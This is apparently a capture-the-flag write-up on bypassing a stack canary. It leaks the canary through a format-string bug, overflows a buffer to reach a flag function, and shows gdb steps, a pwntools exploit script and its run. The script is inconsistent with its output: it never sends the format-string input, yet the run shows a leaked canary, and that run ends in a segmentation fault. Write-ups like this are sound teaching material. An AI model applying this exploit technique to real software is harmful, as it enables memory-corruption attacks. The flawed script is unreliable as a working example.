Canary [binary]


A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.” Can you call the flag function in this program (source)?


This is basically the same challenge as the no_canary (write-up), but with the small difference that this binary is protected with a stack canary. This means if we overwrite the return address, we also overwrite the canary and the program will crash. To bypass this we need to find a way to leak the stack canary.

We can do that by abusing the first gets function which is using the input in strcat, which gives us a formatstring exploit. If we use input like %3$p we can leak information from the memory. To find out where the stack canary is saved we start gdb.

$ gdb ./canary
gdb-peda$ disas greet
Dump of assembler code for function greet:
   0x0000000000400891 <+0>: push   rbp
   0x0000000000400892 <+1>: mov    rbp,rsp
   0x0000000000400895 <+4>: sub    rsp,0x60
   0x0000000000400899 <+8>: mov    rax,QWORD PTR fs:0x28
   0x00000000004008a2 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004008a6 <+21>:    xor    eax,eax
gdb-peda$ b *0x00000000004008a6

We disassemble the greet function and send a breakpoint after the stack canary is saved in $rbp-0x8. If we run the program we can see the saved stack canary.

gdb-peda$ r
Breakpoint 1, 0x00000000004008a6 in greet ()
gdb-peda$ x/x $rbp-0x8
0x7fffffffe438: 0xc3bfc258a3464c00

If we continue we can now use different values to leak the stack canary.

gdb-peda$ c
Hi! What's your name? %16$p %17$p %18$p %19$p %20$p 
Nice to meet you, 0x7fffffffe540 0xc3bfc258a3464c00 0x7fffffffe460 0x4009c9 0x7fffffffe540 !
Anything else you want to tell me? 

And we see that we leak the stack canary if we use %17$p as input. So with that we can create our bufferoverflow. We overflow the buffer, we put the correct stack canary on the place of the canary, so the program won't crash and then overwrite the return address.

We get the address of the flag function by using objdump:

$ objdump -x canary | grep flag$
0000000000400787 g     F .text  0000000000000013              flag


from pwn import *

s = remote("", 20701)
#s = process("./canary")

def get_canary():
    s.recvuntil("Nice to meet you, ")
    return s.recvline()[0:-2]

addr = p64(0x0000000000400787)

print s.recvuntil("name?")
canary = get_canary()
print "[+] Canary {}".format(canary)
print s.recvuntil("me?")
s.send("A"*56 + p64(int(canary,16)) + addr*3 + "\n")
print s.recvline()
print s.recvline()

Running it:

$ python 
[+] Opening connection to on port 20701: Done
Cock-a-doodle-doo! Cock-a-doodle-doo!

       / 4 4 \
       \_ v _/
       //   \\
      ((     ))

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |

Hi! What's your name?
[+] Canary 0x94ffc29c6e888700
Anything else you want to tell me?


Segmentation fault

[*] Closed connection to port 20701